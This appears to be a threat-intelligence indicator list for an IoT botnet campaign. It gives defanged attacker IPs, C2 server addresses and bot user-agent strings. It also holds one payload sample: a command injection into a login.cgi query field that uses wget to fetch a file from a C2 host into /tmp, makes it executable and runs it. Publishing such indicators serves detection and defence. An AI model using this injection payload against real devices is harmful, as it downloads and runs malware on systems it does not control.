Payload Sample :
/login.cgi?cli=aa aa';wget hxxp://80.211.67.245/k -O /tmp/ks;chmod 777 /tmp/ks;sh /tmp/ks'$

Attacking IPS:
41.42.163[.]86 
197.55.212[.]166 	
212.120.218[.]157	 
31.163.130[.]34 	
1.52.167[.]236 	
1.53.101[.]128 	
1.53.22[.]65 
1.54.160[.]168 	
1.54.57[.]231 
113.22.158[.]224 	
118.71.16[.]111 	
118.71.248[.]87 	
151.75.58[.]48 	
156.196.165[.]46 	
156.212.125[.]2 	
156.218.42[.]173 	
156.221.209[.]135 	
185.44.230[.]178 	
187.68.85[.]42 	
188.18.199[.]198
41.42.77[.]28
1.49.139[.]224
156.196.143[.]188
156.201.142[.]44
177.19.78[.]240
189.102.192[.]78
197.34.236[.]132
197.45.9[.]106
197.46.248[.]63
41.37.184[.]65

C2:
178.128.11[.]199
80.211.67[.]245
80.211.112[.]150
212.237.32[.]62
209.141.33[.]86
217.61.6[.]127
148.72.176[.]78
176.32.33[.]171
77.87.77[.]250

User_agents:
LMAO/2.0
Gemini/2.0
Hakai/2.0
Hello, World
Shinka/1.0